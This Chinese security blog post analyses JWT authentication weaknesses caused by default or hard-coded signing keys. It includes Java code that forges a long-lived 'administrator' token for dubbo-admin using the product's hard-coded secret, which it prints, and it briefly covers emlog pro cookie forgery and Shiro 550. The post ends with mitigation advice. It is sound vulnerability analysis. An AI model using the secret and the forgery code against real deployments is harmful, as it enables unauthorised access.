JSON Web Token 默认密钥 身份验证安全性分析

2025-01-06 8 0

引言

在web开发中,对于用户认证的问题,有很多的解决方案。其中传统的认证方式:基于session的用户身份验证便是可采用的一种。

基于session的用户身份验证验证过程: 用户在用进行验证之后,服务器保存用户信息返回sessionid,客户端携带sessionid可向服务器确认自己的身份。 这种认证方式也有着诸多缺点: 用户凭证数据存储在服务端,随着用户的增多,服务端压力增大;在分布式架构下用户凭证需要在服务器与服务器之间交换进行session的同步,否则只能用户挨个对服务器进行认证,这给服务器或者用户带来不便,可扩展性不强。

而基于JSON Web Token 的认证方式则完全可以解决这一问题,它利用了加密技术对用户的信息做签名认证,这使得服务端只需采用相同的算法密钥对,无需进行用户凭证信息的交换就可以完成用户的认证。

基于JSON Web Token 的用户身份验证验证过程: 采用json数据的格式分三个部分进行base64编码,header:声明所使用的算法,payload:存放用户关键信息 signatue:对header与payload进行算法签名, 将这三个部分base64编码用用逗号作为分隔,作为单独的header头返回给用户。 那么当用户需携带着jwt token向后端验证自己的身份时,如果通过了签名认证算法,就可以引用用户的关键信息来证明的用户的相应身份。

JWTtoken应用示例

importcom.auth0.jwt.JWT;
importcom.auth0.jwt.JWTVerifier;
importcom.auth0.jwt.algorithms.Algorithm;
importcom.auth0.jwt.exceptions.JWTDecodeException;
importcom.auth0.jwt.exceptions.JWTVerificationException;
importcom.auth0.jwt.interfaces.DecodedJWT;
importjdk.internal.dynalink.beans.StaticClass;

importjava.util.Date;
publicclassJwtTokenGenerator{
staticStringsecretKey="secretKey123";//密钥
staticStringissuer="cn";
publicstaticStringgenerateToken(StringuserId, Stringusername) {
Datenow=newDate();
DateexpiryDate=newDate(now.getTime() +3600000); // 设置过期时间为1个小时后
Algorithmalgorithm=Algorithm.HMAC256(secretKey);//设置算法及密钥
Stringtoken=JWT.create()
.withIssuer(issuer)//发布人
.withClaim("userId", userId)//数据 "usrid:xxxxx"
.withClaim("username",username)
.withIssuedAt(now)//发布时间
.withExpiresAt(expiryDate)//到期时间
.sign(algorithm);//
returntoken;
}


publicstaticvoidmain(String[] args) {
Stringtoken=generateToken("2233","admin");
System.out.println("生成JWTtoken:"+token);

// 验证Token
booleanisValid=verifyToken(token);
System.out.println("Token is valid: "+isValid);

// 解析Token获取数据
UserInfouserInfo=getUserInfoFromToken(token);

if(userInfo!=null) {
System.out.println("User ID: "+userInfo.getUserId());
System.out.println("Username: "+userInfo.getUsername());
} else{
System.out.println("Invalid token or decoding error.");
}

}
// 验证Token
publicstaticbooleanverifyToken(Stringtoken) {
try{
Algorithmalgorithm=Algorithm.HMAC256(secretKey);
JWTVerifierverifier=JWT.require(algorithm)
.withIssuer(issuer)
.build(); // Reusable verifier instance
DecodedJWTjwt=verifier.verify(token);
// 验证通过
returntrue;
} catch(JWTVerificationExceptionexception) {
// 验证失败
returnfalse;
}
}

// 解析Token获取其中的数据
publicstaticUserInfogetUserInfoFromToken(Stringtoken) {
try{
Algorithmalgorithm=Algorithm.HMAC256(secretKey);
JWTVerifierverifier=JWT.require(algorithm).build();
DecodedJWTjwt=verifier.verify(token);

StringuserId=jwt.getClaim("userId").asString();
Stringusername=jwt.getClaim("username").asString();

returnnewUserInfo(userId, username); // Assuming UserInfo class holds userId and username
} catch(JWTDecodeException|IllegalArgumentExceptionexception) {
// Invalid token or decoding exception
returnnull;
}
}
}

运行结果

生成JWTtoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMjIzMyIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJhZG1pbiJ9.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg Token is valid: true User ID: 2233 Username: admin

这是base64的解码

JSON Web Token 默认密钥 身份验证安全性分析插图

{"typ":"JWT","alg":"HS256"}.{"iss":"cn","exp":1721823782,"userId":"2233","iat":1721820182,"username":"admin"}.>òÉ\U­,N)®ÈÀë [ºïjn²—T|£FrØ

内部逻辑调试

调试一下 看一下逻辑

JWTCreator内部静态类Builder#sign方法 向payloadClaims放入用户信息等其他信息(本次测试放入的是username与userid)

JSON Web Token 默认密钥 身份验证安全性分析插图1

JSON Web Token 默认密钥 身份验证安全性分析插图2

JWTCreator内部静态类Builder#sign方法 向headerClaims放入 alg与typ ,声明算法类型

JSON Web Token 默认密钥 身份验证安全性分析插图3

JWT的构造方法

JSON Web Token 默认密钥 身份验证安全性分析插图4

JWTCreator 生成相应headerClaims与payloadClaims的headerJson与payloadJson

JWTCreator 生成相应headerClaims与payloadClaims的headerJson与payloadJson

privateJWTCreator(Algorithmalgorithm, Map<String, Object>headerClaims, Map<String, Object>payloadClaims) throwsJWTCreationException{
this.algorithm=algorithm;

try{
this.headerJson=mapper.writeValueAsString(headerClaims);
this.payloadJson=mapper.writeValueAsString(newClaimsHolder(payloadClaims));
} catch(JsonProcessingExceptionvar5) {
JsonProcessingExceptione=var5;
thrownewJWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);
}
}

签名方法 algorithm会对headerJson和payloadJson进行签名,最后三个部分都返回base64编码字符串

JSON Web Token 默认密钥 身份验证安全性分析插图5

privateStringsign() throwsSignatureGenerationException{
Stringheader=Base64.getUrlEncoder().withoutPadding().encodeToString(this.headerJson.getBytes(StandardCharsets.UTF_8));
Stringpayload=Base64.getUrlEncoder().withoutPadding().encodeToString(this.payloadJson.getBytes(StandardCharsets.UTF_8));
byte[] signatureBytes=this.algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
Stringsignature=Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
returnString.format("%s.%s.%s", header, payload, signature);
}

最终是完成JWTtoken的生成返回给用户

JSON Web Token 默认密钥 身份验证安全性分析插图6

验证token的机制,由后端生成Algorithm对象,赋予它相应的密钥值,最后由JWTVerifier对象的verify方法去验证token,其内部还是引用了Algorithm对象的verify方法。

JSON Web Token 默认密钥 身份验证安全性分析插图7

JSON Web Token 默认密钥 身份验证安全性分析插图8

思考这个机制存在的问题 !

1.修改payloadJson信息伪造token

伪造用户 3344 root 生成base64编码

JSON Web Token 默认密钥 身份验证安全性分析插图9

伪造用户token

ForgeryToken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJyb290In0=.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg

JSON Web Token 默认密钥 身份验证安全性分析插图10

经过测试在进行verify签名认证时,伪造的token会抛出异常。当然也有那种不做verify签名直接取用户的信息就能教你挖src的文章,这种就属于后端完全没有校验签名。

2.修改headerJson信息伪造token

看过一些文章尤其是一些ctf的题,有讲解修改headerJson可能会改变签名算法,比如改成公私钥算法,将公钥放到headerJson,那么自己用私钥做的签名公钥自然而然可以进行解钥认证,有些ctf题甚至在headerJson把密钥信息泄露出来。从技术上来说这些的确可以实现,jwt 的headerJson 也是为了不用集群多用户的各种需求设计了很多功能字段,它们在正确的使用下是可以做到完全安全的。 ​ 本示例中Algorithm对象的生成是固定的,没有因前端传来的值而相应做出改变,没有对headerJson进行进一步判断处理。所以本示例中你想拿headerJson去做一些文章是没有结果的。

这点可以参考https://www.cnblogs.com/backlion/p/16699442.html

3.密钥泄露或者系统默认密钥

JSON Web Token 默认密钥 身份验证安全性分析插图11

假如我们的密钥泄露了,那我们就可以正常的程序生成正常的jwt token 完成verify签名

下面是我们在得知secretKey的情况下伪造用户 3344 root

生成程序

publicstaticStringgenerateForgeryToken() {
Datenow=newDate();
DateexpiryDate=newDate(now.getTime() +999999999); // 设置过期时间为无限期
Algorithmalgorithm=Algorithm.HMAC256("secretKey123");//密钥泄露
StringForgeryToken=JWT.create()
.withIssuer(issuer)//发布人
.withClaim("userId", "3344")//数据 伪造
.withClaim("username","root")//数据 伪造
.withIssuedAt(now)//发布时间
.withExpiresAt(expiryDate)//
.sign(algorithm);//
returnForgeryToken;
}

生成伪造token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMjkwODQ3NSwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTkwODQ3NSwidXNlcm5hbWUiOiJyb290In0.Ur3gXKTKV9wYnHnegHdGMxAVPLwFxcRHx_vO9EmrR7Q

用程序验证

JSON Web Token 默认密钥 身份验证安全性分析插图12

成功伪造了用户 334 root 这样程序就会执行后面的操作,达到未授权访问的效果

实战dubbo-admin JWT硬编码身份验证绕过

JSON Web Token 默认密钥 身份验证安全性分析插图13

硬编码

用户登录逻辑

org/apache/dubbo/admin/controller/UserController.java#login()

JSON Web Token 默认密钥 身份验证安全性分析插图14

跟入generateToken

JSON Web Token 默认密钥 身份验证安全性分析插图15

这里我们重点关注前面所使用的secret,找到它使用的密钥

JSON Web Token 默认密钥 身份验证安全性分析插图16

JSON Web Token 默认密钥 身份验证安全性分析插图17

我们可以在本地测试一下生成token的函数 与验证token的函数

伪造用户administrator 将过期时间调到几百年之后。

JSON Web Token 默认密钥 身份验证安全性分析插图18

测试代码

@Test
publicvoidForgeryTokentest() {
Map<String, Object>claims=newHashMap<>(1);
claims.put("sub", "administrator");
StringForgeryToken=Jwts.builder()
.setClaims(claims)
.setExpiration(newDate(System.currentTimeMillis() +9999999999999999l))
.setIssuedAt(newDate(System.currentTimeMillis()))
.signWith(defaultAlgorithm, "86295dd0c4ef69a1036b0b0c15158d77")
.compact();
System.out.println(ForgeryToken);
}

生成的伪造token

eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw
验证用户token逻辑

web接口进入拦截器

JSON Web Token 默认密钥 身份验证安全性分析插图19

进入authentication认证方法

JSON Web Token 默认密钥 身份验证安全性分析插图20

authentication取出header头中Authorization的值将它传入工具jwtTokenUtil类的canTokenBeExpirarion方法

JSON Web Token 默认密钥 身份验证安全性分析插图21

canTokenBeExpirarion使用了jwt的机制对用户token进行了验证。 根据代码逻辑,我们只需用canTokenBeExpiration方法用验证的我们伪造的token即可证明漏洞。

JSON Web Token 默认密钥 身份验证安全性分析插图22

且通过调试,证明这个token时间是非常的长

JSON Web Token 默认密钥 身份验证安全性分析插图24

测试代码

Stringsecret="86295dd0c4ef69a1036b0b0c15158d77";
@Test
publicvoidverifyTokentest() {
/*       JwtTokenUtil jwtTokenUtil = SpringBeanUtils.getBean(JwtTokenUtil.class);
Boolean isValid = jwtTokenUtil.canTokenBeExpiration("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3MjE5MTA4MzIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3MjE5MDk4MzJ9.qO__fIG1aFImGpZ4qajUuG8w9kcH6l6FgbDsDAEC-9ftLePDsREWJzodMcKpn7sgbqdDhIQ5MxuTSw40q34McA");
System.out.println("Token is valid: " + isValid);*/
Claimsclaims;
try{
claims=Jwts.parser()
.setSigningKey(secret)
.parseClaimsJws("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw")
.getBody();
finalDateexp=claims.getExpiration();
if(exp.before(newDate(System.currentTimeMillis()))) {

System.out.println("token验证过期");
}
System.out.println("token验证成功");
} catch(Exceptione) {
System.out.println("token验证发生异常");
e.printStackTrace();
}

扩展 emlog pro 版本 2.3.4 存在会话(AuthCookie)持久性和任何用户登录漏洞

这个系统中setAuthCookie的代码逻辑如下

JSON Web Token 默认密钥 身份验证安全性分析插图25

JSON Web Token 默认密钥 身份验证安全性分析插图26

JSON Web Token 默认密钥 身份验证安全性分析插图27

这段逻辑与jwt生成token的原理非常类似

使用$user_login 和 $expiration 作为生成key, 之后在将key 与 $user_login 和 $expiration 作为种子生成用与签名的hash

同样的问题是如果AUTH_KEY 是默认的或者泄露了,那么它就会造成jwt一样的问题。

JSON Web Token 默认密钥 身份验证安全性分析插图28

在知道密钥的情况下,我们只需用的同样的代码流程,改变用户信息,改变过期时间即可有一个合法的且永不过期的用户token。

JSON Web Token 默认密钥 身份验证安全性分析插图29

参考:https://github.com/ssteveez/emlog/blob/main/emlog%20pro%20version%202.3.4%20has%20session(AuthCookie)%20persistence%20and%20any%20user%20login%20vulnerability.md

扩展 Shiro 550 硬编码问题

Shiro 550本质上就是硬编码的问题。Shiro 密钥在出厂的时候写死在了代码中,这也就导致了系统变相的密钥泄露,而又因为shiro验证用户cookie的机制有了反序列化的这一动作。这就使得反序列化漏洞在这一场景中有了用武之地。讨论Shiro 不出网,绕过等问题,本质上就是讨论Shiro 可以进行哪些反序列化操作的问题。

参考https://blog.csdn.net/shelter1234567/article/details/134452519

总结

虽然JWT密钥面临着可能被泄露的问题,但这并不代表着它不足够安全。除了使用随机密钥的方式启动服务外,我们还可以结合传统的方法来进行改造,那就是采用redis缓存技术,将用户的token值作为value在redis存储备份,再将相应的key传回给用户,用户只需传递key值就能进行认证,各个服务器也都能够取出来对应key的value值,去验证用户token是否合法,这样也避免了密钥泄露的问题!


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Threatcl:一款威胁模型记录与归档工具
漏洞分析 | Wordress Tutor LMS SQL注入漏洞(CVE-2024-10400)
基于伪随机数生成器的模型后门攻击
都在给网安泼冷水,我来给网安泼盆开水
Exposor:一款基于互联网搜索引擎实现的统一语法网络侦查工具
代码审计 | JavaMeldoy XXE漏洞分析

发布评论